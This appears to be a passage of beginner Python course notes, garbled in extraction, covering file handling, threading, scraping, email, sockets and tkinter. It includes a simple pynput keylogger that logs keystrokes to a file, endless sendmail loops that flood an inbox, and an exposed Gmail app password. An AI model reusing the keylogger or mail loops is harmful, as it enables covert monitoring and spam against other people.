Line\n', 'This is Nineth-Line']
a = open('abc.txt','r') This is First-Line
for b in a: This is Second-Line
print(b.strip()) This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
with open("example.txt", "w") as file: example.txt
file.write("Hello World!")
Hello World!
import pynput

from pynput.keyboard import Listener,Key

a = []
def keylogger(Key):
b = Key
a.append(b)
print(a)

with Listener(on_press=keylogger) as
listener:
listener.join()

def keylogger(Key):
b = Key
a = open('abc.1txt','a')
a.write(str(b))
a.write('\n')
with Listener(on_press=keylogger) as
listener:
listener.join()

Threading -> Single-Task

Multi-Threading -> Multiple-Task in a Single-Time.
Import threading

def add(a,b): 5
print(a+b)
-1
def sub(a,b): 6
print(a-b) 0.6666666666666666
def mul(a,b):
print(a*b)

def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
b.start()
c.start()
d.start()

Add 5
def add(a,b):
print('Add',a+b)
Sub -1
Divide 0.6666666666666666
def sub(a,b):
print('Sub',a-b)

def mul(a,b):
return False

def div(a,b):
print('Divide',a/b)

a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
b.start()
c.start()
d.start()

def add(a,b):
print(a+b)

def sub(a,b):
for i in range(1,100):
print('Loop',i)

def mul(a,b):
print(a*b)

def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
a.join() #Wait for complete one function then
other will Run

b.start()
b.join()

c.start()
c.join()

d.start()
d.join()

import requests
from bs4 import BeautifulSoup
import html5lib

a = 'https://www.amazon.in/'
b = requests.get(a)
c = BeautifulSoup(b.content, 'html5lib')
d = c.prettify()
print(c.prettify())

a = open('html.txt','a')
a.write(str(d.encode()))

Simple Mail Transfer Protocol

1. import smtplib
2. use SMTP class. it takes Two values -> Gmail-Ip, Port-No-Gmail
3. Start tls -> for security
4. login with valid mail-id and Password.
5. Write a message.
 6. Sendmail from sender to receiver.
7. close the connection.
# https://myaccount.google.com/u/4/apppasswords

import smtplib

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'

a.sendmail('[email protected]','[email protected]',mes
sage)
a.quit()

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:

a.sendmail('[email protected]','[email protected]',mes
sage)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:

a.sendmail('[email protected]','[email protected]',mes
sage)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
mailid =
['[email protected]','[email protected]','dheerajsack@gmail.
com']
for i in mailid:
message = 'Hey!'
a.sendmail('[email protected]',i,message)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
 mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)

Socket
A socket is one endpoint of a two way communication link between two
programs running on the network.

Import socket
Socketclient.py

a = socket.socket()
a.connect(('localhost',1234))
m = 'hello'
m1 = m.encode()
a.send(m1)
a.close()

Socketserver.py

a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)

Socketclient.py
a = socket.socket()
a.connect(('localhost',1234))

while True:
m = input('Enter the message ')
m1 = m.encode()
a.send(m1)

Socketserver.py
a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
print(addr)
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)
SocketServer.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
a.bind(('localhost',1234))
while True:
msg, addr = a.recvfrom(1024)
msg1 = msg.decode()
print(msg1)
if msg1 == '':
break
else:
a1 = input('Message from Server: ')
a2 = a1.encode()
a.sendto(a2,addr)

SocketClient.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
while True:
a1 = input('Message from Client: ')
a2 = a1.encode()
a3 = ('localhost',1234)
a.sendto(a2,a3)
a4 = a.recvfrom(1024)
a5 = a4[0].decode()

if a5 == '':
break

else:
print(a5)

Tkinter
Graphical-User-Interface Geometery-Configuration

1. Import tkinter module 1. pack() -> At the center.

2. Create main window 2. grid() -> At the Table format. Rows
3. Add-Widgets and columns
4. Run the main window 3. place() -> At the Desired-position
 Step1:-
from tkinter import *
a = Tk() -> start of GUI tkinter
a.geometry(‘600x600’) -> For size of Gui (widthxheight)
a.title(‘GUI’) -> Title of a Tkinter App

a.mainloop() -> End of GUI tkinter

Widgets of Tkinter
Button

b = Button(a, text='Submit',bg='black', foreground='white',

font=('calibri',12,'bold'), cursor='hand2' )

b.pack(side=LEFT)

b.pack(side=BOTTOM)

Checkbutton

c = IntVar()

checkbutton1 = Checkbutton(a, variable=c, text='Python', bg='white',

foreground='Red', font=('',13,'bold'))
checkbutton2 = Checkbutton(a, variable=c, text='Nodejs', bg='red',
foreground='Black', font=('',13,'bold'))
checkbutton3 = Checkbutton(a, variable=c, text='ML', bg='red',
foreground='Blue', font=('',13,'bold'))
checkbutton4 = Checkbutton(a, variable=c, text='Data-Science',
bg='red', foreground='Purple', font=('',13,'bold'))

checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)
Label

f = Label(a, text='Choose any option', font=('calibri',12,'bold'))

f.place(x=0,y=0)

Radiobutton

e = IntVar()

b1 = Radiobutton(a, variable=e, value=1, text='B.tech', bg = 'light

green', fg='blue')
b = Radiobutton(a, variable=e, value=2, text='M.tech', bg = 'light
green', fg = 'blue')
c = Radiobutton(a, variable=e, value=3, text='C.tech', bg = 'light
green', fg='blue')
d = Radiobutton(a, variable=e, value=4, text='D.tech', bg = 'light
green', fg='blue')

b1.place(x=0,y=40)
b.place(x=0,y=80)
c.place(x=0,y=120)
d.place(x=0,y=160)

Entry

b1 = Entry(a,width=50)
b1.pack()

b1 = Entry(a,width=50,show='*')
b1.pack()

Text

b1 = Text(a, width=20, height=20)

b1.pack()

Spinbox

b1 = Spinbox(a,from_=1, to=12)
b1.pack()
Scale

b1 = Scale(a, from_=1, to=10, orient=HORIZONTAL)

b1.pack()

Menu

b1 = Menu(a)
a.config(menu=b1)

b2 = Menu(b1, tearoff=0)

b1.add_cascade(label='File',menu=b2)
b2.add_command(label='open file', command=filedialog.askopenfile)
b2.add_command(label='create file')
b2.add_separator()
b2.add_command(label='save file', command=filedialog.asksaveasfile)

b3 = Menu(b2, tearoff=0)
b2.add_cascade(label='abc', menu=b3)
b3.add_command(label='abc1')
b3.add_command(label='abc2')

b3.add_command(label='abc3')

c1 = Menu(b1,tearoff=0)
b1.add_cascade(label='Edit', menu=c1)
c1.add_command(label='Edit1')
c1.add_command(label='Edit2')
c1.add_command(label='Edit3')

Frame

b1 = Frame(a, bg='pink')
b1.place(x=200, y=200)
b2 = Button(b1, text='Top')
b2.pack(side=TOP)

b3 = Button(b1, text='Bottom')
b3.pack(side=BOTTOM)

b4 = Button(b1, text='Right')
b4.pack(side=RIGHT)
b5 = Button(b1, text='Left')
b5.pack(side=LEFT)

Scrollbar

a1 = Scrollbar(a)
a1.pack(side=RIGHT, fill=Y)

Listbox

a2 = Listbox(a)
a2.insert(0,'Python')
a2.insert(1,'Java')
a2.insert(2, 'C++')
a2.pack()

Message

a1 = Message(a, text='This is a file', width=30)

a1.pack()

PanelWindow()

b = PanedWindow()
b.pack()

b1 = Spinbox(a, from_=1, to=20)

b.add(b1)

b2 = Entry(a)
b.add(b2)

b3 = Spinbox(a, from_=1, to=10)

b3.pack()

b4 = Entry(a)
b4.pack()

Canvas

b = Canvas(a, width=150, height=150)

b.pack()
b1 = ImageTk.PhotoImage(Image.open('3652191.png'))
b.create_image(10,10, anchor=NW, image=b1)
LabelFrame

b = LabelFrame(a, text='This is Frame')

b.pack(fill=BOTH ,expand='yes', side=TOP)

Import tkinter

a = tkinter.Tk()
a.geometry(‘600x600’) -> Size of the GUI
a.title(‘Title’) -> To name the GUI
a.config(bg = ‘black’) -> To change the background-Color
b = tkinter.Button(a, text='Submit', bg='black',
foreground='white', font=('calibri',12,'bold'),
cursor='hand2' )

c = tkinter.Button(a, text='Submit', bg='black',

foreground='white', font=('calibri',12,'bold'),
cursor='hand2' )

d = tkinter.Button(a, text='Exit1', bg='black',

foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=a.destroy )

e = tkinter.Button(a, text='Exit2', bg='black',

foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=a.quit )

def add():
c = 9+10
print(c)

add = tkinter.Button(a, text='Adding', bg='black',

foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=add )

add.place(x=150,y=200)
b.place(x=0, y=0)
c.place(x=40, y=60)
d.place(x=130, y=170)
e.place(x=220, y=280)

a.mainloop()
import tkinter

a = tkinter.Tk()
a.geometry('600x600')
a.title('Title')
a.config(bg='black')

c = tkinter.IntVar()

checkbutton1 = tkinter.Checkbutton(a, variable=c,

text='Python', bg='white', foreground='Red',
font=('',13,'bold'))
checkbutton2 = tkinter.Checkbutton(a, variable=c,
text='Nodejs', bg='red', foreground='Black',
font=('',13,'bold'))
checkbutton3 = tkinter.Checkbutton(a, variable=c, text='ML',
bg='red', foreground='Blue', font=('',13,'bold'))
checkbutton4 = tkinter.Checkbutton(a, variable=c, text='Data-
Science', bg='red', foreground='Purple', font=('',13,'bold'))

checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)

a.mainloop()
from tkinter import *
# from tkinter import messagebox

import calendar

a = Tk()

icon = PhotoImage(file='3652191.png')
a.iconphoto(False,icon)

a.geometry('700x700')
a.title('Calendar-Tkinter')

monthslabel = Label(text='Months')
monthslabel.place(x=80, y=100)

Months = Spinbox(a, from_=1,to=12, width=30)

Months.place(x=150, y=100)

yearslabel = Label(text='Years')
yearslabel.place(x=600,y=100)

Years = Entry(a, width=30)

Years.place(x=400, y=100)

Texts = Text(a, width=70, height=25)

Texts.place(y=150, x=80)

def Show():
m = Months.get()
y = Years.get()
Texts.delete('1.0',END)
cal = calendar.month(int(y), int(m))
Texts.insert(END,cal)

ShowButton = Button(a, text='Show', width=20,

command=Show)
ShowButton.place(x=100, y=600)

def clear():
Texts.delete('1.0',END)
ClearButton = Button(a, text='Clear', width=20,
command=clear)
ClearButton.place(x=300, y=600)

def exit():
a.destroy()

ExitButton = Button(a, text='Exit', width=20,

command=exit)
ExitButton.place(x=500, y=600)

a.mainloop()